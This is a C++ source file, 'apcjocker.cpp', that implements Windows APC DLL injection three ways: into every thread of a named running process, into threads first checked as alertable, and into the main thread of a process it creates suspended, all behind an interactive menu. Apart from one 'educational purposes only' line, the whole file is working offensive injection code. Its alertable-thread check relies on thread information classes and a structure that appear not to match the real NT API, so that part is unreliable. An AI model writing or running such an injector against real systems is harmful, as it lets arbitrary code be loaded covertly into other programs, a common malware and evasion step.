apcjocker.cpp

#include <windows.h>
#include <tlhelp32.h>
#include <winternl.h>
#include <iostream>
#include <string>
#include <vector>

// NT API definitions
typedef struct _THREAD_BASIC_INFORMATION {
    NTSTATUS ExitStatus;
    PVOID TebBaseAddress;
    CLIENT_ID ClientId;
    KAFFINITY AffinityMask;
    LONG Priority;
    LONG BasePriority;
} THREAD_BASIC_INFORMATION, *PTHREAD_BASIC_INFORMATION;

typedef struct _THREAD_WAIT_INFORMATION {
    HANDLE WaitObject;
    DWORD WaitReason;
    DWORD WaitMode;
    DWORD Alertable;
    DWORD Timeout;
} THREAD_WAIT_INFORMATION, *PTHREAD_WAIT_INFORMATION;

// Thread information classes
#define ThreadBasicInformation 0
#define ThreadWaitInformation 0x11  // 17 decimal
#define ThreadState 0x10             // 16 decimal
#define ThreadWaitReason 0x12        // 18 decimal
#define ThreadAlertTime 0x20         // 32 decimal

// NTSTATUS codes
#define STATUS_SUCCESS 0x00000000

// NT function pointer types
typedef NTSTATUS(WINAPI* pNtQueryInformationThread)(
    HANDLE ThreadHandle,
    DWORD ThreadInformationClass,
    PVOID ThreadInformation,
    ULONG ThreadInformationLength,
    PULONG ReturnLength
);

// Structure for detailed thread alertable information
struct ThreadAlertableInfo {
    bool isAlertable;
    bool isWaiting;
    DWORD waitReason;
    DWORD alertableFlag;
    DWORD threadState;
};

// Forward declarations
DWORD GetProcessIdByName(const std::wstring& processName);
std::vector<DWORD> GetProcessThreads(DWORD pid);

// Function to check if threads are alertable
bool IsThreadAlertable(HANDLE hThread) {
    if (hThread == NULL || hThread == INVALID_HANDLE_VALUE) {
        return false;
    }

    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    if (hNtdll == NULL) {
        return false;
    }

    pNtQueryInformationThread NtQueryInformationThread = 
        (pNtQueryInformationThread)GetProcAddress(hNtdll, "NtQueryInformationThread");
    
    if (NtQueryInformationThread == NULL) {
        return false;
    }

    // Method 1: Check thread wait information
    THREAD_WAIT_INFORMATION waitInfo = { 0 };
    ULONG returnLength = 0;
    
    NTSTATUS status = NtQueryInformationThread(
        hThread,
        ThreadWaitInformation,
        &waitInfo,
        sizeof(THREAD_WAIT_INFORMATION),
        &returnLength
    );
    
    if (status == STATUS_SUCCESS && returnLength >= sizeof(THREAD_WAIT_INFORMATION)) {
        return (waitInfo.Alertable != 0);
    }
    
    return false;
}

// Enhanced function to get detailed thread alertable information
ThreadAlertableInfo GetThreadAlertableInfo(HANDLE hThread) {
    ThreadAlertableInfo info = { false, false, 0, 0, 0 };
    
    if (hThread == NULL || hThread == INVALID_HANDLE_VALUE) {
        return info;
    }

    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    if (hNtdll == NULL) {
        return info;
    }

    pNtQueryInformationThread NtQueryInformationThread = 
        (pNtQueryInformationThread)GetProcAddress(hNtdll, "NtQueryInformationThread");
    
    if (NtQueryInformationThread == NULL) {
        return info;
    }

    // Get thread wait information
    THREAD_WAIT_INFORMATION waitInfo = { 0 };
    ULONG returnLength = 0;
    
    NTSTATUS status = NtQueryInformationThread(
        hThread,
        ThreadWaitInformation,
        &waitInfo,
        sizeof(THREAD_WAIT_INFORMATION),
        &returnLength
    );
    
    if (status == STATUS_SUCCESS && returnLength >= sizeof(THREAD_WAIT_INFORMATION)) {
        info.alertableFlag = waitInfo.Alertable;
        info.isAlertable = (waitInfo.Alertable != 0);
        info.isWaiting = true;
    }
    
    // Get thread wait reason
    DWORD waitReason = 0;
    status = NtQueryInformationThread(
        hThread,
        ThreadWaitReason,
        &waitReason,
        sizeof(waitReason),
        &returnLength
    );
    
    if (status == STATUS_SUCCESS) {
        info.waitReason = waitReason;
    }
    
    // Get thread state
    DWORD threadState = 0;
    status = NtQueryInformationThread(
        hThread,
        ThreadState,
        &threadState,
        sizeof(threadState),
        &returnLength
    );
    
    if (status == STATUS_SUCCESS) {
        info.threadState = threadState;
        info.isWaiting = (threadState == 5); // Waiting state
    }
    
    return info;
}

// Helper function to print thread alertable information
void PrintThreadAlertableStatus(HANDLE hThread, DWORD threadId) {
    ThreadAlertableInfo info = GetThreadAlertableInfo(hThread);
    
    std::wcout << L"Thread ID: " << threadId << std::endl;
    std::wcout << L"  - Alertable: " << (info.isAlertable ? L"Yes" : L"No") << std::endl;
    std::wcout << L"  - Waiting: " << (info.isWaiting ? L"Yes" : L"No") << std::endl;
    std::wcout << L"  - Alertable Flag: " << info.alertableFlag << std::endl;
    std::wcout << L"  - Wait Reason: ";
    
    switch (info.waitReason) {
        case 0: std::wcout << L"Executive"; break;
        case 1: std::wcout << L"FreePage"; break;
        case 2: std::wcout << L"PageIn"; break;
        case 3: std::wcout << L"PoolAllocation"; break;
        case 4: std::wcout << L"DelayExecution (Sleep)"; break;
        case 5: std::wcout << L"Suspended"; break;
        case 6: std::wcout << L"UserRequest (WaitForSingleObject)"; break;
        case 7: std::wcout << L"WrExecutive"; break;
        case 8: std::wcout << L"WrFreePage"; break;
        case 9: std::wcout << L"WrPageIn"; break;
        case 10: std::wcout << L"WrPoolAllocation"; break;
        case 11: std::wcout << L"WrDelayExecution"; break;
        case 12: std::wcout << L"WrSuspended"; break;
        case 13: std::wcout << L"WrUserRequest"; break;
        default: std::wcout << L"Unknown (" << info.waitReason << L")"; break;
    }
    std::wcout << std::endl;
    
    std::wcout << L"  - Thread State: ";
    switch (info.threadState) {
        case 0: std::wcout << L"Initialized"; break;
        case 1: std::wcout << L"Ready"; break;
        case 2: std::wcout << L"Running"; break;
        case 3: std::wcout << L"Standby"; break;
        case 4: std::wcout << L"Terminated"; break;
        case 5: std::wcout << L"Waiting"; break;
        case 6: std::wcout << L"Transition"; break;
        case 7: std::wcout << L"DeferredReady"; break;
        default: std::wcout << L"Unknown"; break;
    }
    std::wcout << std::endl;
}

// Get process ID by name
DWORD GetProcessIdByName(const std::wstring& processName) {
    DWORD pid = 0;
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    
    if (snapshot == INVALID_HANDLE_VALUE)
        return 0;
    
    PROCESSENTRY32W processEntry = { sizeof(PROCESSENTRY32W) };
    
    if (Process32FirstW(snapshot, &processEntry)) {
        do {
            if (processName == processEntry.szExeFile) {
                pid = processEntry.th32ProcessID;
                break;
            }
        } while (Process32NextW(snapshot, &processEntry));
    }
    
    CloseHandle(snapshot);
    return pid;
}

// Get all threads of a process
std::vector<DWORD> GetProcessThreads(DWORD pid) {
    std::vector<DWORD> threadIds;
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    
    if (snapshot == INVALID_HANDLE_VALUE)
        return threadIds;
    
    THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
    
    if (Thread32First(snapshot, &threadEntry)) {
        do {
            if (threadEntry.th32OwnerProcessID == pid) {
                threadIds.push_back(threadEntry.th32ThreadID);
            }
        } while (Thread32Next(snapshot, &threadEntry));
    }
    
    CloseHandle(snapshot);
    return threadIds;
}

// APC Injection Class
class APCInjector {
protected:
    HANDLE hProcess;
    DWORD processId;
    LPVOID pRemoteMemory;
    SIZE_T dllPathSize;

public:
    APCInjector() : hProcess(NULL), processId(0), pRemoteMemory(NULL), dllPathSize(0) {}
    
    virtual ~APCInjector() {
        Cleanup();
    }

    // Main injection function
    virtual bool Inject(const std::wstring& targetProcess, const std::wstring& dllPath) {
        std::wcout << L"[*] Starting APC injection..." << std::endl;
        
        // Step 1: Get target process ID
        processId = GetProcessIdByName(targetProcess);
        if (processId == 0) {
            std::wcout << L"[!] Failed to find process: " << targetProcess << std::endl;
            return false;
        }
        std::wcout << L"[+] Found process ID: " << processId << std::endl;
        
        // Step 2: Open target process
        hProcess = OpenProcess(
            PROCESS_CREATE_THREAD |
            PROCESS_QUERY_INFORMATION |
            PROCESS_VM_OPERATION |
            PROCESS_VM_WRITE,
            FALSE,
            processId
        );
        
        if (hProcess == NULL) {
            std::wcout << L"[!] Failed to open process. Error: " << GetLastError() << std::endl;
            return false;
        }
        std::wcout << L"[+] Opened process handle: " << hProcess << std::endl;
        
        // Step 3: Allocate memory in target process
        dllPathSize = (dllPath.length() + 1) * sizeof(wchar_t);
        pRemoteMemory = VirtualAllocEx(
            hProcess,
            NULL,
            dllPathSize,
            MEM_COMMIT | MEM_RESERVE,
            PAGE_READWRITE
        );
        
        if (pRemoteMemory == NULL) {
            std::wcout << L"[!] Failed to allocate memory. Error: " << GetLastError() << std::endl;
            return false;
        }
        std::wcout << L"[+] Allocated memory at: 0x" << pRemoteMemory << std::endl;
        
        // Step 4: Write DLL path to allocated memory
        SIZE_T bytesWritten = 0;
        BOOL writeSuccess = WriteProcessMemory(
            hProcess,
            pRemoteMemory,
            dllPath.c_str(),
            dllPathSize,
            &bytesWritten
        );
        
        if (!writeSuccess || bytesWritten != dllPathSize) {
            std::wcout << L"[!] Failed to write DLL path. Error: " << GetLastError() << std::endl;
            return false;
        }
        std::wcout << L"[+] DLL path written to target process" << std::endl;
        
        // Step 5: Get LoadLibraryW address
        LPVOID pLoadLibrary = (LPVOID)GetProcAddress(
            GetModuleHandleW(L"kernel32.dll"),
            "LoadLibraryW"
        );
        
        if (pLoadLibrary == NULL) {
            std::wcout << L"[!] Failed to get LoadLibraryW address" << std::endl;
            return false;
        }
        std::wcout << L"[+] LoadLibraryW address: 0x" << pLoadLibrary << std::endl;
        
        // Step 6: Get all threads of target process
        std::vector<DWORD> threadIds = GetProcessThreads(processId);
        if (threadIds.empty()) {
            std::wcout << L"[!] No threads found in target process" << std::endl;
            return false;
        }
        std::wcout << L"[+] Found " << threadIds.size() << L" threads" << std::endl;
        
        // Step 7: Queue APC to each thread
        int successCount = 0;
        for (DWORD tid : threadIds) {
            HANDLE hThread = OpenThread(
                THREAD_SET_CONTEXT |
                THREAD_SUSPEND_RESUME |
                THREAD_QUERY_INFORMATION,
                FALSE,
                tid
            );
            
            if (hThread == NULL) {
                std::wcout << L"[!] Failed to open thread " << tid << L". Error: " << GetLastError() << std::endl;
                continue;
            }
            
            DWORD queueResult = QueueUserAPC(
                (PAPCFUNC)pLoadLibrary,
                hThread,
                (ULONG_PTR)pRemoteMemory
            );
            
            if (queueResult != 0) {
                std::wcout << L"[+] APC queued to thread: " << tid << std::endl;
                successCount++;
            } else {
                std::wcout << L"[!] Failed to queue APC to thread " << tid << L". Error: " << GetLastError() << std::endl;
            }
            
            CloseHandle(hThread);
        }
        
        if (successCount == 0) {
            std::wcout << L"[!] Failed to queue APC to any thread" << std::endl;
            return false;
        }
        
        std::wcout << L"[+] APC queued to " << successCount << L" threads" << std::endl;
        std::wcout << L"[*] Waiting for DLL to load (threads need to enter alertable state)..." << std::endl;
        Sleep(5000);
        
        return true;
    }
    
    void Cleanup() {
        if (pRemoteMemory != NULL && hProcess != NULL) {
            VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
            std::wcout << L"[+] Freed allocated memory" << std::endl;
        }
        
        if (hProcess != NULL) {
            CloseHandle(hProcess);
            std::wcout << L"[+] Closed process handle" << std::endl;
        }
    }
};

// APC Injector with alertable thread checking
class APCInjectorWithAlertableCheck : public APCInjector {
public:
    bool InjectWithCheck(const std::wstring& targetProcess, const std::wstring& dllPath) {
        // First, get process threads
        DWORD pid = GetProcessIdByName(targetProcess);
        if (pid == 0) {
            std::wcout << L"[!] Failed to find process" << std::endl;
            return false;
        }
        
        std::vector<DWORD> threadIds = GetProcessThreads(pid);
        
        // Check which threads are alertable before injection
        std::wcout << L"[*] Checking thread alertable states..." << std::endl;
        std::vector<DWORD> alertableThreads;
        
        for (DWORD tid : threadIds) {
            HANDLE hThread = OpenThread(THREAD_QUERY_INFORMATION, FALSE, tid);
            if (hThread) {
                PrintThreadAlertableStatus(hThread, tid);
                if (IsThreadAlertable(hThread)) {
                    alertableThreads.push_back(tid);
                    std::wcout << L"[+] Thread " << tid << L" is alertable" << std::endl;
                } else {
                    std::wcout << L"[-] Thread " << tid << L" is NOT alertable" << std::endl;
                }
                CloseHandle(hThread);
            }
        }
        
        if (alertableThreads.empty()) {
            std::wcout << L"[!] No alertable threads found. APC injection will likely fail." << std::endl;
            std::wcout << L"[!] Consider using a different injection technique." << std::endl;
            return false;
        }
        
        std::wcout << L"[+] Found " << alertableThreads.size() << L" alertable threads" << std::endl;
        
        // Proceed with injection
        processId = pid;
        hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD, FALSE, pid);
        if (hProcess == NULL) {
            std::wcout << L"[!] Failed to open process" << std::endl;
            return false;
        }
        
        SIZE_T dllPathSize = (dllPath.length() + 1) * sizeof(wchar_t);
        pRemoteMemory = VirtualAllocEx(hProcess, NULL, dllPathSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
        if (pRemoteMemory == NULL) {
            std::wcout << L"[!] Failed to allocate memory" << std::endl;
            return false;
        }
        
        SIZE_T bytesWritten = 0;
        WriteProcessMemory(hProcess, pRemoteMemory, dllPath.c_str(), dllPathSize, &bytesWritten);
        
        LPVOID pLoadLibrary = (LPVOID)GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "LoadLibraryW");
        
        // Queue APC only to alertable threads
        int successCount = 0;
        for (DWORD tid : alertableThreads) {
            HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, tid);
            if (hThread) {
                if (QueueUserAPC((PAPCFUNC)pLoadLibrary, hThread, (ULONG_PTR)pRemoteMemory)) {
                    std::wcout << L"[+] APC queued to alertable thread: " << tid << std::endl;
                    successCount++;
                }
                CloseHandle(hThread);
            }
        }
        
        return successCount > 0;
    }
};

// APC Injection with suspended process creation
class APCSuspendedInjector {
public:
    bool InjectSuspended(const std::wstring& targetExe, const std::wstring& dllPath) {
        std::wcout << L"[*] Starting suspended process APC injection..." << std::endl;
        
        STARTUPINFOW si = { sizeof(STARTUPINFOW) };
        PROCESS_INFORMATION pi = { 0 };
        
        // Step 1: Create suspended process
        std::wcout << L"[+] Creating suspended process: " << targetExe << std::endl;
        BOOL createResult = CreateProcessW(
            targetExe.c_str(),
            NULL,
            NULL,
            NULL,
            FALSE,
            CREATE_SUSPENDED,
            NULL,
            NULL,
            &si,
            &pi
        );
        
        if (!createResult) {
            std::wcout << L"[!] Failed to create suspended process. Error: " << GetLastError() << std::endl;
            return false;
        }
        std::wcout << L"[+] Process created with PID: " << pi.dwProcessId << std::endl;
        
        // Step 2: Allocate memory in target process
        SIZE_T dllPathSize = (dllPath.length() + 1) * sizeof(wchar_t);
        LPVOID pRemoteMemory = VirtualAllocEx(
            pi.hProcess,
            NULL,
            dllPathSize,
            MEM_COMMIT | MEM_RESERVE,
            PAGE_READWRITE
        );
        
        if (pRemoteMemory == NULL) {
            std::wcout << L"[!] Failed to allocate memory. Error: " << GetLastError() << std::endl;
            TerminateProcess(pi.hProcess, 0);
            CloseHandle(pi.hProcess);
            CloseHandle(pi.hThread);
            return false;
        }
        
        // Step 3: Write DLL path
        SIZE_T bytesWritten = 0;
        WriteProcessMemory(pi.hProcess, pRemoteMemory, dllPath.c_str(), dllPathSize, &bytesWritten);
        
        // Step 4: Get LoadLibraryW address
        LPVOID pLoadLibrary = (LPVOID)GetProcAddress(
            GetModuleHandleW(L"kernel32.dll"),
            "LoadLibraryW"
        );
        
        // Step 5: Queue APC to main thread
        std::wcout << L"[+] Queueing APC to main thread..." << std::endl;
        DWORD queueResult = QueueUserAPC(
            (PAPCFUNC)pLoadLibrary,
            pi.hThread,
            (ULONG_PTR)pRemoteMemory
        );
        
        if (queueResult == 0) {
            std::wcout << L"[!] Failed to queue APC. Error: " << GetLastError() << std::endl;
            VirtualFreeEx(pi.hProcess, pRemoteMemory, 0, MEM_RELEASE);
            TerminateProcess(pi.hProcess, 0);
            CloseHandle(pi.hProcess);
            CloseHandle(pi.hThread);
            return false;
        }
        
        std::wcout << L"[+] APC queued successfully" << std::endl;
        
        // Step 6: Resume thread
        std::wcout << L"[+] Resuming main thread..." << std::endl;
        ResumeThread(pi.hThread);
        
        // Step 7: Cleanup handles
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
        
        std::wcout << L"[+] Injection complete" << std::endl;
        return true;
    }
};

// Main function
int main() {
    std::wcout << L"=====================================" << std::endl;
    std::wcout << L"    APC Injection Demonstration     " << std::endl;
    std::wcout << L"=====================================" << std::endl;
    std::wcout << L"[!] Note: Administrative privileges may be required" << std::endl;
    std::wcout << L"[!] Target process must have threads in alertable state" << std::endl;
    std::wcout << L"[!] This is for educational purposes only" << std::endl;
    std::wcout << L"=====================================\n" << std::endl;
    
    int choice;
    std::wcout << L"Select injection method:" << std::endl;
    std::wcout << L"1. Basic APC Injection" << std::endl;
    std::wcout << L"2. APC Injection with Alertable Thread Check" << std::endl;
    std::wcout << L"3. Suspended Process APC Injection" << std::endl;
    std::wcout << L"Choice: ";
    std::cin >> choice;
    std::cin.ignore();
    
    std::wcout << L"Enter target process name (e.g., notepad.exe): ";
    std::wstring targetProcess;
    std::getline(std::wcin, targetProcess);
    
    std::wcout << L"Enter DLL full path (e.g., C:\\temp\\test.dll): ";
    std::wstring dllPath;
    std::getline(std::wcin, dllPath);
    
    bool success = false;
    
    switch (choice) {
        case 1: {
            APCInjector injector;
            success = injector.Inject(targetProcess, dllPath);
            break;
        }
        case 2: {
            APCInjectorWithAlertableCheck injector;
            success = injector.InjectWithCheck(targetProcess, dllPath);
            break;
        }
        case 3: {
            APCSuspendedInjector injector;
            success = injector.InjectSuspended(targetProcess, dllPath);
            break;
        }
        default:
            std::wcout << L"[!] Invalid choice" << std::endl;
            return 1;
    }
    
    if (success) {
        std::wcout << L"\n[+] Operation completed successfully!" << std::endl;
    } else {
        std::wcout << L"\n[!] Operation failed!" << std::endl;
    }
    
    return 0;
}